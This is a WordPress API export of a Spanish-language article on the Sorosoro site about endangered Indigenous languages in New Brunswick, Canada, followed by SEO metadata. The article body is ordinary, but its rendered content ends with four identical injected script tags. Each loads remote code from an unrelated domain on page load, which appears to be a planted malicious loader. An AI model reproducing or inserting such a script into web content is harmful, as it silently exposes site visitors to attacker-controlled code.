{"id":66719,"date":"2015-09-04T22:10:11","date_gmt":"2015-09-04T20:10:11","guid":{"rendered":"http:\/\/www.sorosoro.org\/?p=66719"},"modified":"2025-10-21T21:59:52","modified_gmt":"2025-10-21T19:59:52","slug":"las-lenguas-autoctonas-en-nuevo-brunswick-un-patrimonio-amenazado","status":"publish","type":"post","link":"https:\/\/www.sorosoro.org\/es\/2015\/09\/las-lenguas-autoctonas-en-nuevo-brunswick-un-patrimonio-amenazado\/","title":{"rendered":"Las lenguas aut\u00f3ctonas en Nuevo Brunswick: un patrimonio amenazado"},"content":{"rendered":"<p><span style=\"font-size:12px\">Publicado por Elise Miranda el April 29, 2011<\/span><br \/>\n&nbsp;<br \/>\n<em>Por Elise Miranda, agregada cultural en el Consulado general de Francia en las Provincias atl\u00e1nticas.<\/em><br \/>\n&nbsp;<br \/>\n<strong>Un biling\u00fcismo oficial franc\u00e9s-ingl\u00e9s<\/strong><\/p>\n<div id=\"attachment_2550\" style=\"width: 160px\" class=\"wp-caption alignleft\"><img decoding=\"async\" aria-describedby=\"caption-attachment-2550\" class=\"size-full wp-image-2550\" title=\"\u0152uvre de Pascal A. Pelletier\" src=\"\/wp-content\/uploads\/indiens.jpg\" alt=\"Obra de Pascal A. Pelletier, galer\u00eda de arte KLU'SKAP en Moncton.\" width=\"150\" height=\"auto\" \/><p id=\"caption-attachment-2550\" class=\"wp-caption-text\">Obra de Pascal A. Pelletier, galer\u00eda de arte KLU&#8217;SKAP en Moncton. Foto : Pascal A. Pelletier<\/p><\/div>\n<p>Nuevo Brunswick, en el este de Canad\u00e1, es la \u00fanica provincia oficialmente biling\u00fce del pa\u00eds. Es hasta hoy la \u00fanica que ha adoptado la Carta canadiense de los derechos y las libertades (art\u00edculos 16 \u2013 20), que dispone que: \u201c el franc\u00e9s y el ingl\u00e9s son las lenguas oficiales de Nuevo Brunswick; tienen un estatuto y derechos y privilegios iguales\u00bb. As\u00ed, \u201cNuevo Brunswick tiene su propia ley sobre las lenguas oficiales, sistemas escolares franc\u00f3fonos y angl\u00f3fonos paralelos y leyes que garantizan un tratamiento igual de parte del gobierno a ambos grupos \u201c.<\/p>\n<p>Los Acadianos, presentes al este de Canad\u00e1 actual desde el siglo XVII, conocieron una historia agitada: masivamente deportados por Nuevo Brunswick por las tropas inglesas entre 1755 y 1763, volvieron progresivamente a finales del siglo XVIII. Forman en lo sucesivo un pueblo de m\u00e1s de 350 000 franc\u00f3fonos y representan al 32,7 % de la poblaci\u00f3n de la provincia, siendo mayoritariamente angl\u00f3fonos los dos tercios restantes.<br \/>\n&nbsp;<br \/>\n<strong>Lenguas aut\u00f3ctonas amenazadas<\/strong><\/p>\n<p>Pero el Nuevo Brunswick es tambi\u00e9n, y ante todo en realidad, la tierra de las tribus amerindias, en total de tres, todas ellas pertenecientes al grupo ling\u00fc\u00edstico wabanaki de la familia de las lenguas algonquinas:<\/p>\n<p>&#8211; Los Micmac, que est\u00e1n presentes en todo Canad\u00e1 atl\u00e1ntico as\u00ed como en Quebec, siempre formaron a la etnia aut\u00f3ctona dominante de la regi\u00f3n;<\/p>\n<p>&#8211; Los Maliseet y Passamakoddys, presentes en Quebec, en Maine y al oeste de Nuevo Brunswick, a lo largo del r\u00edo San Juan para los primeros, y en el borde de la bah\u00eda que lleva su nombre para los otros. Estos dos \u00faltimos pueblos se habr\u00edan separado hasta el siglo XVIII. Sus lenguas y culturas, bastante semejantes, difieren notablemente de las de los Micmacs.<\/p>\n<p>As\u00ed, el micmac es la tercera lengua materna m\u00e1s importante de la provincia, pero sus locutores representan solamente al 0,4 % de la poblaci\u00f3n.<br \/>\n<div id=\"attachment_2550\" style=\"width: 160px\" class=\"wp-caption alignright\"><img decoding=\"async\" aria-describedby=\"caption-attachment-2550\" class=\"size-full wp-image-2550\" title=\"\u0152uvre de Pascal A. Pelletier\" src=\"\/wp-content\/uploads\/dancer-s.jpg\" alt=\"Obra de Pascal A. Pelletier, galer\u00eda de arte KLU'SKAP en Moncton.\" width=\"150\" height=\"auto\" \/><p id=\"caption-attachment-2550\" class=\"wp-caption-text\">Obra de Pascal A. Pelletier, galer\u00eda de arte KLU&#8217;SKAP en Moncton. Foto : Pascal A. Pelletier<\/p><\/div><br \/>\n&nbsp;<br \/>\n<strong>Locutores que envejecen<\/strong><\/p>\n<p>En un informe titulado \u201d El derecho a la identidad, a la cultura y a la lengua: una v\u00eda para el desarrollo del ni\u00f1o \u201c, Bernard Richard, Ombudsman (defensor de la juventud y de los ni\u00f1os) de Nuevo Brunswick escribe \u201d Aunque los neobrunswiqueses pueden jactarse de ser expertos en el \u00e1rea de los derechos de las minor\u00edas en materia de lenguas oficiales as\u00ed como en la preservaci\u00f3n y la protecci\u00f3n de estos derechos, los datos presentados a continuaci\u00f3n muestran que nuestro esfuerzo para preservar y hacer la promoci\u00f3n de las lenguas y las culturas aut\u00f3ctonas de esta parte del mundo es un fracaso lamentable. \u201c<\/p>\n<p>Precisa as\u00ed que de los 20 000 habitantes de la naci\u00f3n micmac, solamente un tercio conserv\u00f3 el uso de la lengua, y que es una poblaci\u00f3n que envejece. El n\u00famero de neobrunswiqueses que se dicen de lengua materna maliseet disminuy\u00f3, pasando de 860 en 2006 a 490 en 2011.<\/p>\n<p>En otro informe intitulado \u201d Mano en la mano, el bienestar en la infancia de las Primeras naciones de Nuevo Brunswick \u201d (2010), el mismo Bernard Richard precisa que hasta el 72 % de los ni\u00f1os aut\u00f3ctonos de 6 a 14 a\u00f1os no pueden hablar, ni comprender la lengua de sus abuelos. Hoy, esta generaci\u00f3n de ni\u00f1os es la \u00faltima que tiene una esperanza de ser educada en una lengua aut\u00f3ctona, y \u201d de poder compartir un d\u00eda los cuentos y los cantos de su pueblo con las generaciones que vienen\u201c.<br \/>\n&nbsp;<br \/>\n<strong>Una situaci\u00f3n alarmante<\/strong><\/p>\n<p>Si la lengua micmac es a\u00fan hablada en las reservas de esta primera naci\u00f3n, la lengua maliseet esta realmente en v\u00edas de desaparici\u00f3n. El passamaquoddy ya ha desaparecido sin duda o en el mejor de los casos se mezcl\u00f3 en el maliseet del cual es muy cercano. En el mundo hay hoy solamente 1500 emisores de ambos dialectos combinados (maliseet y passamaquoddy) y la mayor\u00eda de los locutores tienen edad avanzada. Esta lengua peligra pues realmente y hay que temer lo peor si nada es puesto en marcha para restaurar su utilizaci\u00f3n entre los ni\u00f1os.<\/p>\n<p>Debido al aislamiento relativo a los pueblos aut\u00f3ctonos, la poblaci\u00f3n de Nuevo Brunswick esta poco informada sobre la situaci\u00f3n. Una toma de conciencia est\u00e1 en proceso en diferentes actores y autoridades de la regi\u00f3n, pero habr\u00eda que lanzar desde ahora una acci\u00f3n verdadera de sensibilizaci\u00f3n y de salvaguardia para tener esperanzas de preservar estas lenguas aut\u00f3ctonas.<script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Publicado por Elise Miranda el April 29, 2011 &nbsp; Por Elise Miranda, agregada cultural en el Consulado general de Francia en las Provincias atl\u00e1nticas. &nbsp; Un biling\u00fcismo oficial franc\u00e9s-ingl\u00e9s Nuevo Brunswick, en el este de Canad\u00e1, es la \u00fanica provincia oficialmente biling\u00fce del pa\u00eds. Es hasta hoy la \u00fanica que ha adoptado la Carta canadiense [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[4],"tags":[],"class_list":["post-66719","post","type-post","status-publish","format-standard","hentry","category-otro"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.0 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Las lenguas aut\u00f3ctonas en Nuevo Brunswick: un patrimonio amenazado - Sorosoro<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.sorosoro.org\/es\/2015\/09\/las-lenguas-autoctonas-en-nuevo-brunswick-un-patrimonio-amenazado\/\" \/>\n<meta property=\"og:locale\" content=\"es_ES\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Las lenguas aut\u00f3ctonas en Nuevo Brunswick: un patrimonio amenazado - Sorosoro\" \/>\n<meta property=\"og:description\" content=\"Publicado por Elise Miranda el April 29, 2011 &nbsp; Por Elise Miranda, agregada cultural en el Consulado general de Francia en las Provincias atl\u00e1nticas. &nbsp; Un biling\u00fcismo oficial franc\u00e9s-ingl\u00e9s Nuevo Brunswick, en el este de Canad\u00e1, es la \u00fanica provincia oficialmente biling\u00fce del pa\u00eds. Es hasta hoy la \u00fanica que ha adoptado la Carta canadiense [&hellip;]\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.sorosoro.org\/es\/2015\/09\/las-lenguas-autoctonas-en-nuevo-brunswick-un-patrimonio-amenazado\/\" \/>\n<meta property=\"og:site_name\" content=\"Sorosoro\" \/>\n<meta property=\"article:published_time\" content=\"2015-09-04T20:10:11+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2025-10-21T19:59:52+00:00\" \/>\n<meta name=\"author\" content=\"Sorosoro\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Escrito por\" \/>\n\t<meta name=\"twitter:data1\" content=\"Sorosoro\" \/>\n\t<meta name=\"twitter:label2\" content=\"Tiempo de lectura\" \/>\n\t<meta name=\"twitter:data2\" content=\"4 minutos\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/2015\/09\/las-lenguas-autoctonas-en-nuevo-brunswick-un-patrimonio-amenazado\/#article\",\"isPartOf\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/2015\/09\/las-lenguas-autoctonas-en-nuevo-brunswick-un-patrimonio-amenazado\/\"},\"author\":{\"name\":\"Sorosoro\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/a457def540d2d426a1f19547404f1917\"},\"headline\":\"Las lenguas aut\u00f3ctonas en Nuevo Brunswick: un patrimonio amenazado\",\"datePublished\":\"2015-09-04T20:10:11+00:00\",\"dateModified\":\"2025-10-21T19:59:52+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/2015\/09\/las-lenguas-autoctonas-en-nuevo-brunswick-un-patrimonio-amenazado\/\"},\"wordCount\":829,\"articleSection\":[\"Otro\"],\"inLanguage\":\"es\"},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/2015\/09\/las-lenguas-autoctonas-en-nuevo-brunswick-un-patrimonio-amenazado\/\",\"url\":\"https:\/\/www.sorosoro.org\/es\/2015\/09\/las-lenguas-autoctonas-en-nuevo-brunswick-un-patrimonio-amenazado\/\",\"name\":\"Las lenguas aut\u00f3ctonas en Nuevo Brunswick: un patrimonio amenazado - Sorosoro\",\"isPartOf\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/#website\"},\"datePublished\":\"2015-09-04T20:10:11+00:00\",\"dateModified\":\"2025-10-21T19:59:52+00:00\",\"author\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/a457def540d2d426a1f19547404f1917\"},\"breadcrumb\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/2015\/09\/las-lenguas-autoctonas-en-nuevo-brunswick-un-patrimonio-amenazado\/#breadcrumb\"},\"inLanguage\":\"es\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/www.sorosoro.org\/es\/2015\/09\/las-lenguas-autoctonas-en-nuevo-brunswick-un-patrimonio-amenazado\/\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/2015\/09\/las-lenguas-autoctonas-en-nuevo-brunswick-un-patrimonio-amenazado\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Accueil\",\"item\":\"https:\/\/www.sorosoro.org\/es\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Las lenguas aut\u00f3ctonas en Nuevo Brunswick: un patrimonio amenazado\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/#website\",\"url\":\"https:\/\/www.sorosoro.org\/es\/\",\"name\":\"Sorosoro\",\"description\":\"Pour que vivent les langues du monde !\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/www.sorosoro.org\/es\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"es\"},{\"@type\":\"Person\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/a457def540d2d426a1f19547404f1917\",\"name\":\"Sorosoro\",\"url\":\"https:\/\/www.sorosoro.org\/es\/author\/admin\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Las lenguas aut\u00f3ctonas en Nuevo Brunswick: un patrimonio amenazado - Sorosoro","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.sorosoro.org\/es\/2015\/09\/las-lenguas-autoctonas-en-nuevo-brunswick-un-patrimonio-amenazado\/","og_locale":"es_ES","og_type":"article","og_title":"Las lenguas aut\u00f3ctonas en Nuevo Brunswick: un patrimonio amenazado - Sorosoro","og_description":"Publicado por Elise Miranda el April 29, 2011 &nbsp; Por Elise Miranda, agregada cultural en el Consulado general de Francia en las Provincias atl\u00e1nticas. &nbsp; Un biling\u00fcismo oficial franc\u00e9s-ingl\u00e9s Nuevo Brunswick, en el este de Canad\u00e1, es la \u00fanica provincia oficialmente biling\u00fce del pa\u00eds. Es hasta hoy la \u00fanica que ha adoptado la Carta canadiense [&hellip;]","og_url":"https:\/\/www.sorosoro.org\/es\/2015\/09\/las-lenguas-autoctonas-en-nuevo-brunswick-un-patrimonio-amenazado\/","og_site_name":"Sorosoro","article_published_time":"2015-09-04T20:10:11+00:00","article_modified_time":"2025-10-21T19:59:52+00:00","author":"Sorosoro","twitter_card":"summary_large_image","twitter_misc":{"Escrito por":"Sorosoro","Tiempo de lectura":"4 minutos"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/www.sorosoro.org\/es\/2015\/09\/las-lenguas-autoctonas-en-nuevo-brunswick-un-patrimonio-amenazado\/#article","isPartOf":{"@id":"https:\/\/www.sorosoro.org\/es\/2015\/09\/las-lenguas-autoctonas-en-nuevo-brunswick-un-patrimonio-amenazado\/"},"author":{"name":"Sorosoro","@id":"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/a457def540d2d426a1f19547404f1917"},"headline":"Las lenguas aut\u00f3ctonas en Nuevo Brunswick: un patrimonio amenazado","datePublished":"2015-09-04T20:10:11+00:00","dateModified":"2025-10-21T19:59:52+00:00","mainEntityOfPage":{"@id":"https:\/\/www.sorosoro.org\/es\/2015\/09\/las-lenguas-autoctonas-en-nuevo-brunswick-un-patrimonio-amenazado\/"},"wordCount":829,"articleSection":["Otro"],"inLanguage":"es"},{"@type":"WebPage","@id":"https:\/\/www.sorosoro.org\/es\/2015\/09\/las-lenguas-autoctonas-en-nuevo-brunswick-un-patrimonio-amenazado\/","url":"https:\/\/www.sorosoro.org\/es\/2015\/09\/las-lenguas-autoctonas-en-nuevo-brunswick-un-patrimonio-amenazado\/","name":"Las lenguas aut\u00f3ctonas en Nuevo Brunswick: un patrimonio amenazado - Sorosoro","isPartOf":{"@id":"https:\/\/www.sorosoro.org\/es\/#website"},"datePublished":"2015-09-04T20:10:11+00:00","dateModified":"2025-10-21T19:59:52+00:00","author":{"@id":"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/a457def540d2d426a1f19547404f1917"},"breadcrumb":{"@id":"https:\/\/www.sorosoro.org\/es\/2015\/09\/las-lenguas-autoctonas-en-nuevo-brunswick-un-patrimonio-amenazado\/#breadcrumb"},"inLanguage":"es","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.sorosoro.org\/es\/2015\/09\/las-lenguas-autoctonas-en-nuevo-brunswick-un-patrimonio-amenazado\/"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/www.sorosoro.org\/es\/2015\/09\/las-lenguas-autoctonas-en-nuevo-brunswick-un-patrimonio-amenazado\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Accueil","item":"https:\/\/www.sorosoro.org\/es\/"},{"@type":"ListItem","position":2,"name":"Las lenguas aut\u00f3ctonas en Nuevo Brunswick: un patrimonio amenazado"}]},{"@type":"WebSite","@id":"https:\/\/www.sorosoro.org\/es\/#website","url":"https:\/\/www.sorosoro.org\/es\/","name":"Sorosoro","description":"Pour que vivent les langues du monde !","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.sorosoro.org\/es\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"es"},{"@type":"Person","@id":"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/a457def540d2d426a1f19547404f1917","name":"Sorosoro","url":"https:\/\/www.sorosoro.org\/es\/author\/admin\/"}]}},"_links":{"self":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/posts\/66719","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/comments?post=66719"}],"version-history":[{"count":0,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/posts\/66719\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/media?parent=66719"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/categories?post=66719"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/tags?post=66719"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}